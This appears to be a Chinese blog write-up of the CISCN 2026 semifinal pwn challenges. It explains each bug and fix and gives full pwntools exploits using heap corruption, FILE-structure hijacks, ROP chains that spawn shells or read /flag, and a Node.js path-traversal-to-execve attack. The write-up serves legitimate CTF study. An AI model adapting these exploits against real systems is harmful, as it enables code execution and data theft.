pwn· 更新于 2026-05-26

ciscn-2026-半决赛

CISCN 2026 半决赛 PWN 全题解

broken_manager

漏洞很明显,uaf

image-20260324211900767

fix

fix 有点抽象,把原本的清空 size 改成清空 chunk 即可

break

程序是自己实现的内存管理器

  struct Arena {  // sizeof = 0x40 (64 bytes), 位于 BSS 0x5060
      uint64_t magic;          // +0x00: 0xCCEE7700DDBBCCAA
      uint64_t base_mask;      // +0x08: mmap_base & 0xFFFFFFFF00000000
                               //        保存mmap地址的高32位,低32位为0
      uint32_t xor_key;        // +0x10: 从/dev/random读取的4字节随机密钥
      uint32_t remaining;      // +0x14: 当前bump区域剩余字节数
      uint32_t total;          // +0x18: arena总大小 (0x4000)
      uint32_t _pad;           // +0x1C: 对齐填充
      Arena*   next;           // +0x20: 下一个arena (双向链表)
      Arena*   prev;           // +0x28: 上一个arena
      void*    mmap_base;      // +0x30: 本arena的mmap映射基地址
      uint32_t* freelist;      // +0x38: 指向freelist数组(32个DWORD)
  };

free_list 存储指针是main_arena.base_mask ^ (ptr ^ main_arena.xor_key)

即 free_list 只存储指针低位,还是异或过的

同时,程序使用 sigaction 注册了 SIGSEGV 崩溃时输出地址并重启

image-20260324212316923

所以攻击思路是,uaf 直接泄露 enc1(high_mask ^ (ptr ^ xor1_key)),写错误地址V崩溃泄露 enc2(high_mask ^ (V ^ xor1_key))

可求得high_mask xor1_key,再通过 enc1 求得ptr,这样就得到完整的 heap 地址了

此时程序重启,重新生成 xor_key,记为xor2_key

uaf 泄露 enc3(high_mask ^ (ptr ^ xor2_key)),求得xor2_key

后面就是 uaf 打 stdout(逃课 check,直接 puts 触发)

#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>> '


def add(idx, size, data):
    sla(IAT, b'1')
    sla(b'Index', str(idx))
    sla(b'Size', str(size))
    if data == b'ik':
        return
    sa(b'Content: ', data)


def dele(idx):
    sla(IAT, b'2')
    sla(b'Index: ', str(idx))


def edit(idx, data):
    sla(IAT, b'4')
    sla(b'Index', str(idx))
    sa(b'Content: ', data)


def show(idx):
    sla(IAT, b'3')
    sla(b'Index: ', str(idx))


cmd = '''
    brva 0x1B8D
    brva 0x1CBE
    brva 0x1D88
    brva 0x1E6A
    ida
    set $h = $rebase(0x5060)
    c
    # handle SIGSEGV nostop noprint pass
'''

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc1 = u64_ex(r(4))
leak_ex2(enc1)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64(0xDEADBEEF))
add(4, 0x100, b'e')
add(5, 0x100, b'ik')

ru(b'Invalid ptr access: ')
enc2 = int(rl(), 16)
leak_ex2(enc2)
high_mask = enc2 >> 32 << 32
leak_ex2(high_mask)
low_key = (enc2 ^ 0xDEADBEEF) & 0xFFFFFFFF
leak_ex2(low_key)
heap_base = ((enc1 ^ low_key) | high_mask) >> 8 << 8
leak_ex2(heap_base)

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc3 = u64_ex(r(4))
leak_ex2(enc3)
low_key = ((heap_base + 0x40C4) ^ enc3) & 0xFFFFFFFF
set_current_libc_base_and_log(libc_base := heap_base + 0x1EF00)
leak_ex2(low_key)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64((libc.sym._IO_2_1_stdout_ & 0xFFFFFFFF) ^ low_key))
add(4, 0x100, p64(0x666))

_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
    {
        0x0: 0x8000,  # disable lock
        0x38: libc.symbols["_IO_2_1_stdout_"],  # _IO_buf_base
        0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
        0x70: 0,  # _fileno
        0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100,  # +0xe0可写即可
        0xC0: p32(0xFFFFFFFF),  # _mode < 0
        0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
    },
    filler=b"\x00",
)
launch_gdb(cmd)
add(5, 0x100, payload)

# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
s(
    flat(
        {
            0x8: libc.symbols["_IO_2_1_stdout_"],  # 需要可写地址
            0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8,  # _IO_buf_base
            0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
            0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
            0xC0: p32(0xFFFFFFFF),
            0xD8: _IO_default_xsputn - 0x90,  # vtable
            0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8,  # _IO_write_ptr
            0x30: libc.symbols["_IO_2_1_stdout_"],  # _IO_write_end
            0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
        },
        filler=b"\x00",
    )
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = CG.find_gadget("4C89EA5B415C415D5DC3", find_type="opcode")
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 5, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])

# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
    flat(
        {
            0: rop_payload,
            (0x1C8 - 0xC8): {
                0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8,  # _IO_buf_base
                0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
                0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
                0xC0: p32(0xFFFFFFFF),
                0xD8: _IO_default_xsgetn - 0x90,  # vtable
                0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8,  # _IO_read_ptr
                0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8),  # _IO_read_end
                0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
            },
        },
        filler=b"\x00",
    )
)

ia()

image-20260324212822029

catchme

漏洞同意明显,uaf

fix

image-20260324212915790

break

house of storm 打 free_hook ogg

#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './catchme')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    while True:
        io = process(elf_path)
        with open(f'/proc/{io.pid}/maps') as f:
            elf_base = int(f.readline().split('-')[0], 16)
        print(f'elf_base: {hex(elf_base)}')
        if elf_base >> 40 == 0x56:
            gift.io = io
            break
        io.close()
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>>\n'


def add(size):
    sla(IAT, b'1')
    sla(b'choose your creature type', str(size))


def dele(idx):
    sla(IAT, b'2')
    sla(b'index', str(idx))


def edit(idx, data):
    sla(IAT, b'4')
    sla(b'index', str(idx))
    sa(b'set tag:\n', data)


def show(idx):
    sla(IAT, b'3')
    sla(b'index', str(idx))


def clear(idx):
    sla(IAT, b'6')
    sla(b'index', str(idx))


cmd = '''
    brva 0xC4A
    brva 0xC86
    brva 0xCC4
    brva 0xE20
    brva 0xF1C
    brva 0x104A
    brva 0x10EE
    set $h = $rebase(0x202060)
    # dir /mnt/f/Documents/CTF/glibc/glibc-2.27/malloc
    # brva 0x945F1 libc-2.27-3ubuntu1.6.so.6
    c
'''

for i in range(7):
    add(3)
    dele(0)
    clear(0)

add(2)
add(3)
add(1)
add(3)
dele(2)
show(2)
ru(b'tag:')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
dele(0)
# show(0)
# ru(b'tag:')
# heap_base = u64_ex(ru(b'\n', drop=1))
# log_heap_base_addr(heap_base)
clear(0)
add(2)
dele(0)

fake_addr = libc.sym.__free_hook - 0x18
edit(0, p64(fake_addr))
edit(2, p64(fake_addr + 0x8) + p64(0) + p64(fake_addr - 0x18 - 5))
clear(1)
launch_gdb(cmd)
add(3)
edit(1, p64(libc_base + 0x4F302) * 3)
dele(2)

ia()

image-20260324213508744

easy_rw_revenge

漏洞也是 uaf

md5 是 strcmp,爆破前三位即可

size 是有符号比较,没有做 malloc 失败的处理逻辑

image-20260324213110280

fix

应该是把比较改成无符号比较(比赛时未做出)

break

同样是打 io,house of some 泄露 environ打 rop

#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *
import hashlib

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path, level='info')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

USERNAME_CACHE = "15772770"


def find_username():
    global USERNAME_CACHE
    if USERNAME_CACHE:
        return USERNAME_CACHE
    target = b'\x64\x40\x00'
    log.info("Brute-forcing username (need MD5 prefix 644000) ...")
    for i in range(0x10000000):
        name = str(i).encode()
        if hashlib.md5(name).digest()[:3] == target:
            USERNAME_CACHE = name.decode()
            log.success(f"Found username: '{USERNAME_CACHE}' (MD5: {hashlib.md5(name).hexdigest()})")
            return USERNAME_CACHE
    log.error("Username not found!")
    sys.exit(1)


USERNAME = find_username()


def send_req(cmd, param1="", param2="", data=b""):
    """Each request needs a fresh TCP connection to the RTSP server."""
    io = remote("127.0.0.1", 7777, level='debug')
    payload = f"rtsp://{USERNAME}/".encode()
    payload += b"{" + cmd.encode() + b":" + param1.encode() + b":" + param2.encode() + b":" + data + b"}"
    io.send(payload)
    try:
        resp = io.recv(0x2000, timeout=300)
    except:
        resp = b""
    io.close()
    return resp


def add(idx, size, data=b"A"):
    resp = send_req("add", str(size), str(idx), data)
    if b"ADD_SUCCESS" in resp:
        return True
    log.warning(f"add({idx}, {size}): {resp}")
    return False


def dele(idx):
    resp = send_req("delete", str(idx))
    if b"DEL_SUCCESS" in resp:
        return True
    log.warning(f"dele({idx}): {resp}")
    return False


def edit(idx, data):
    resp = send_req("edit", str(idx), "", data)
    if b"EDIT_SUCCESS" in resp:
        return True
    log.warning(f"edit({idx}): {resp}")
    return False


def show(idx):
    return send_req("show", str(idx))


cmd = '''
    brva 0x1922
    brva 0x1BC6
    brva 0x1D28
    brva 0x1A98
    brva 0x1915
    set $h = $rebase(0x5040)
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    b genops.c:701
    c
    dis 6
    brva 0x2a3e5 ./libc-2.35-0ubuntu3.13.so.6
    b read
    c
'''

for i in range(8):
    add(0, 0x18, b'')

data = show(0)
libc_base = u64_ex(data[0:8]) - 0x21AC00
set_current_libc_base_and_log(libc_base)
heap_base = u64_ex(data[8:16]) - 0x7D0
log_heap_base_addr(heap_base)

add(0, 0x5E8, b'a')
add(1, 0x5F8, b'a')
add(2, 0x5D8, b'a')
add(3, 0x5F8, b'a')

add(0, -1, b'a')
add(4, 0x5F8, b'a')
add(2, -1, b'a')

edit(0, p64(libc.sym._IO_list_all - 0x20) * 4)
add(5, 0x5F8, b'a')

fake_IO_FILE = heap_base + 0x1FA0
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
payload = hos.hoi_read_file_template(fake_IO_FILE + 0x100, 0x400, fake_IO_FILE + 0x100, 4)
edit(2, payload[0x10:])
launch_gdb(cmd)
io = remote("127.0.0.1", 7777, level='debug')
payload0 = f"rtsp://{USERNAME}/".encode()
payload0 += b"{" + 'delete'.encode() + b":" + str(0x114).encode() + b":" + ''.encode() + b":" + data + b"}"
io.send(payload0)
pause()
payload2 = hos.fake_file_write_template(libc.sym._environ, libc.sym._environ + 0x10, fake_IO_FILE + 0x200, 4).ljust(0x100)
payload2 += hos.hoi_read_file_template(fake_IO_FILE + 0x300, 0x400, fake_IO_FILE + 0x300, 4)
io.send(payload2)
stack = u64_ex(io.recvuntil(b'\x7f', timeout=999)[-6:]) - 0x22F0
leak_ex2(stack)
payload3 = hos.hoi_read_file_template(stack, 0x400, 0, 4)
io.send(payload3)
rop = ROP(libc)
rop.base = stack
rop.call('open', [stack + 0x110, 0])
rop.call('read', [5, stack - 0x400, 0x100])
rop.call('write', [4, stack - 0x400, 0x100])
log_ex(rop.dump())
pause()
io.send(b'/flag'.ljust(0x10, b'\x00') + rop.chain().ljust(0x100, b'\x00') + b'/flag\x00')
io.interactive()

ia()

image-20260324213536758

minidb

漏洞在set(),没有检查引用计数就直接 free

image-20260325101205780

fix

比赛没出,不知道 checker 咋写的

break

poc

set('A', 'd0')
multi()
set('A', '1' * 0x100)
clone('A', 'B')
set('A', 'd2')
exec_()
set('C', '3' * 0x100)
launch_gdb(cmd)
get('B')

exp 写的有点神志不清,凑合看一下

#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def hash(s):
    if isinstance(s, str):
        s = s.encode()
    i = 5
    for j in range(len(s)):
        i = 0x21 * i + int(s[j])
    i = i & 0x3F
    log_ex(f'str: {s}\nhash: {i:#x}')


def set(val, data):
    if isinstance(val, str):
        val = val.encode()
    if isinstance(data, str):
        data = data.encode()
    sla(b'> ', b'SET ' + val)
    hash(data)
    sa(b'Value> ', data)


def get(val):
    if isinstance(val, str):
        val = val.encode()
    sla(b'> ', b'GET ' + val)


def clone(val1, val2):
    if isinstance(val1, str):
        val1 = val1.encode()
    if isinstance(val2, str):
        val2 = val2.encode()
    sla(b'> ', b'CLONE ' + val1 + b' ' + val2)


def multi():
    sla(b'> ', b'MULTI')


def exec_():
    sla(b'> ', b'EXEC')


def abort_():
    sla(b'> ', b'ABORT')


def fake_tcache(size_info):
    TCACHE_MAX_BINS = 64
    counts = bytearray(TCACHE_MAX_BINS * 2)
    entries = bytearray(TCACHE_MAX_BINS * 8)

    for size, (count, address) in size_info.items():
        bin_index = (size >> 4) - 2
        if 0 <= bin_index < TCACHE_MAX_BINS:
            counts[bin_index * 2] = min(count, 255)
            addr_bytes = struct.pack('<Q', address)
            entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

    tcache_struct = counts + entries
    return tcache_struct


cmd = '''
    brva 0x1355
    brva 0x16F4
    brva 0x17C7
    # set
    brva 0x1948
    
    # brva 0x1CF3
    brva 0x1891
    # clone
    
    brva 0x1A70
    # exec free
    set $h = {void *}$rebase(0x4050)
    set $i = *(void **)((char *)$h + 0x200)
    ida
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
'''

set('A', 'a' * 0x10)
multi()
set('A', 'a' * 0x500)
clone('A', 'B')
set('A', 'a' * 0x10)
exec_()
set('C', 'c' * 0x510)
get('B')
ru(b'VAL: ')
heap_base = u64_ex(ru(b'\n', drop=1)) - 0x560
log_heap_base_addr(heap_base)
set('D', 'd' * 0x300)

set('E', 'e' * 0x10)
multi()
set('E', 'e' * 0x500)
clone('E', 'F')
set('E', 'e' * 0x10)
exec_()
set('C', 'c' * 0x10)
get('F')


set('G', 'g' * 0xB0)
set('H', p64(2).ljust(0x4D0, b'a'))
set(p64_ex(-56), 'i' * 0x200)
set('F', 'f' * 0x10)
set('D', b'J' * 0x10 + p64(0) + p64(heap_base + 0x10))
get('\x01')
set('\x01', 'k' * 0x10)
set('D', fake_tcache({0x40: (0, 0), 0x110: (1, heap_base + 0x10), 0x100: (1, heap_base + 0xA80)})[0x10:].ljust(0x270, b'\x00'))
# p64(u64_ex(b'B')) + p64(0) * 4 + p64(heap_base + 0x0)
set(
    'A',
    (
        flat(
            {
                0x0: b'B',
                0x28: heap_base + 0xB30,
                0x68: 0x41,
                0x70: b'H',
                0x98: heap_base + 0xB40,
                0xA8: 0x4F1,
                0xB0: 1,
                0xB8: 0x4D0,
            },
            filler=b'\x00',
        )
    ).ljust(0xE0, b'\x00'),
)
set('H', 'h' * 0x10)
get('B')
ru(b'VAL: ')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)
set('E', fake_tcache({0xF0: (1, heap_base + 0xA80), 0x110: (1, heap_base + 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
set(
    'C',
    flat(
        {
            0x0: b'B',
            0x28: libc.sym.environ - 0x10,
            0x98: 0x51,
        },
        filler=b'\x00',
        length=0xD0,
    ),
)
get('B')
ru(b'VAL: ')
stack = u64_ex(ru(b'\n', drop=1)) - 0x8 - 0x1338 - 0x50
leak_ex2(stack)
set('D', fake_tcache({0x110: (1, libc.sym._IO_2_1_stdout_ - 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
rop = ROP(libc)
rop.raw(rop.ret)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
fake_IO_FILE = libc.sym._IO_2_1_stdout_
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
launch_gdb(cmd)
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
    {
        0x0: 0x8000,  # disable lock
        0x38: stack,  # _IO_buf_base
        0x40: stack + 0x1C8,  # _IO_buf_end
        0x70: 0,  # _fileno
        0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100,  # +0xe0可写即可
        0xC0: p32(0xFFFFFFFF),  # _mode < 0
        0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
    },
    filler=b"\x00",
)
set('G', payload.ljust(0xF0, b'\x00'))
log_ex(rop.dump())
pause()
s(rop.chain())

ia()

image-20260325161602996

UpNodeTrap

image-20260325100213947

https://i0.rs/blog/engineering-a-rop-chain-against-node-js/

https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/

https://2024.hexacon.fr/slides/Schiller-ExploitingFileWrites.pdf

https://hackerone.com/reports/2260337

https://github.com/libuv/libuv/issues/4581

原题出题,这出题这么水的吗……

抄个国际赛就是自己的美美恰米……

fix

check 以下..就过了,checker 很神奇吧……

       if (filename.includes('..')) {
         return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
       }

break

路径越界读,打uv__signal_event

ai 注释

image-20260325100327477

exp 是参考的博客里的

#!/usr/bin/env python3
from pwncli import *
import requests
import json

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
    TARGET = f'http://{ip}:9999'
else:
    gift.io = process([elf_path, './app.js'])
    TARGET = 'http://localhost:9999'
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    dir ./node-v25.8.0
    c
'''
launch_gdb(cmd)


'''
Pivot: fake handle at 0x2777d78 in .text
  handle+0x58 flags    = 0x00 (bit0=0, passes check)
  handle+0x60 signal_cb -> 0xe883c7 = pop rbx; pop r14; pop r15; pop rbp; ret
  handle+0x68 signum   = 0x415b0000

Stack at call [handle+0x60]:
  RSP = &buf[0], call pushes ret_addr -> RSP = &buf[-8]
  Gadget pops: ret_addr->rbx, buf[0]->r14, buf[8]->r15, buf[16]->rbp
  Then ret -> buf[24] = first ROP gadget
'''
PIVOT_HANDLE = 0x2777D78
SIGNUM = 0x415B0000

POP_RAX = 0x7B4F27  # pop rax; ret
POP_RDI = 0x23D1441  # pop rdi; ret
POP_RSI = 0x1164803  # pop rsi; ret
POP_RDX = 0x1271F47  # pop rdx; ret
MOV_GADGET = 0x1350624  # mov [rdi], rsi; pop rbp; ret
SYSCALL = 0x1022638  # syscall
RET = 0x780236  # ret

# Writable section (first RW LOAD: 0x3FF000-0x75B8F0)
RW_SECTION = 0x501010


def upload(filename, content):
    if isinstance(content, bytes):
        content = content.decode('latin-1')
    data = json.dumps({"filename": filename, "content": content})
    r = requests.post(f'{TARGET}/upload', data=data, headers={'Content-Type': 'application/json'})
    log.info(f"upload '{filename}' => {r.status_code}: {r.text[:100]}")
    return r


def write_pipe(fd, payload):
    traversal = f'../../../../../../../../../../../../../../../../../../../proc/self/fd/{fd}'
    return upload(traversal, payload)


def gadget_write_at(addr, qword):
    """Write qword to addr using mov [rdi], rsi; pop rbp; ret."""
    if isinstance(qword, bytes):
        qword = qword.ljust(8, b"\x00")
    yield POP_RDI
    yield addr
    yield POP_RSI
    yield qword
    yield MOV_GADGET
    yield RW_SECTION  # junk for pop rbp


def gadget_create_string(addr, s):
    s = s.encode() + b"\x00"
    for i in range(0, len(s), 8):
        yield from gadget_write_at(addr + i, s[i : i + 8])


PIPE_WR_FD = 18  # signal_pipefd[1] write-end (confirmed via test_pipe.py)

argv = [RW_SECTION + 0x100, RW_SECTION + 0x200, RW_SECTION + 0x300]
argv_arr = RW_SECTION

COMMAND = "touch ./success"

payload = flat(
    [
        # --- uv__signal_msg_t (16B, consumed by pivot gadget pops) ---
        PIVOT_HANDLE,  # msg.handle -> pop r14
        p32(SIGNUM) + p32(0),  # msg.signum + pad -> pop r15
        RW_SECTION,  # junk -> pop rbp
        # --- ROP chain (starts at buf[0x18], ret lands here) ---
        # Write execve args to RW section
        *gadget_create_string(argv[0], "/bin/sh"),
        *gadget_create_string(argv[1], "-c"),
        *gadget_create_string(argv[2], COMMAND),
        # Build argv[] = {"/bin/sh", "-c", cmd, NULL}
        *gadget_write_at(argv_arr + 0x00, argv[0]),
        *gadget_write_at(argv_arr + 0x08, argv[1]),
        *gadget_write_at(argv_arr + 0x10, argv[2]),
        *gadget_write_at(argv_arr + 0x18, 0),
        # execve("/bin/sh", argv, NULL)
        POP_RAX,
        constants.SYS_execve,
        POP_RDI,
        argv[0],
        POP_RSI,
        argv_arr,
        POP_RDX,
        0,
        SYSCALL,
    ]
)

log.info(f"Payload: {len(payload)}/512 bytes ({len(payload)*100//512}%)")
assert len(payload) <= 512, f"Payload too large: {len(payload)}"
assert all(b <= 0x7F for b in payload), "Payload has non-UTF8 bytes"
log.success(f"Payload OK ({len(payload)}B)")

ru(b'Server running on http://localhost:9999')

try:
    write_pipe(PIPE_WR_FD, payload)
except Exception:
    log.success("Server execve'd — connection dropped as expected")

sleep(0.5)
ia()

image-20260325100120521

#!/usr/bin/env python3
"""
Enumerate Node.js pipe fds and find the signal pipe write-end.
Writes 16 bytes to each pipe fd — the signal pipe will crash the server.
"""
import subprocess
import time
import requests
import json
import os

TARGET = "http://localhost:9999"
BINARY = "./pwn"
APP = "./app.js"
CWD = "/mnt/f/OneDrive/Pwn/ciscn2026SF/UpNodeTrap"


def upload(fd, content="X"):
    path = f"../../../../../../../proc/self/fd/{fd}"
    data = json.dumps({"filename": path, "content": content})
    return requests.post(f"{TARGET}/upload", data=data,
                         headers={"Content-Type": "application/json"}, timeout=5)


def main():
    print("[*] Starting server...")
    proc = subprocess.Popen(
        [BINARY, APP], cwd=CWD,
        stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )
    time.sleep(2)
    pid = proc.pid
    print(f"[*] PID: {pid}")

    # List fds
    fd_dir = f"/proc/{pid}/fd"
    print(f"\n[*] File descriptors:")
    pipe_fds = []
    for name in sorted(os.listdir(fd_dir), key=lambda x: int(x)):
        try:
            link = os.readlink(f"{fd_dir}/{name}")
            print(f"  fd {name:>3s} -> {link}")
            if "pipe:" in link:
                pipe_fds.append(int(name))
        except:
            pass

    # Health check
    try:
        r = requests.get(f"{TARGET}/health", timeout=3)
        print(f"\n[*] Health: {r.status_code}")
    except:
        print("[!] Server not responding")
        proc.kill()
        return

    # Test each pipe fd
    print(f"\n[*] Testing pipe write-ends: {pipe_fds}")
    print("    Writing 16 bytes 'A' to each — signal pipe will crash server\n")

    for fd in pipe_fds:
        try:
            r = upload(fd, "A" * 16)
            print(f"  fd {fd:2d}: {r.status_code} (server survived)")
        except requests.exceptions.ConnectionError:
            print(f"  fd {fd:2d}: CONNECTION LOST — server crashed!")
            time.sleep(0.5)
            try:
                requests.get(f"{TARGET}/health", timeout=2)
                print(f"         (but server recovered?)")
            except:
                print(f"         >>> fd {fd} is the signal pipe write-end! <<<")
                break

    proc.terminate()
    try:
        proc.wait(timeout=3)
    except:
        proc.kill()
    print("\n[+] Done.")


if __name__ == "__main__":
    main()

ISW 见 403 攻防人 公众号

灌注 403 攻防人喵,灌注 403 攻防人谢谢喵

评论
NETEASE歌单
未选择曲目
0:000:00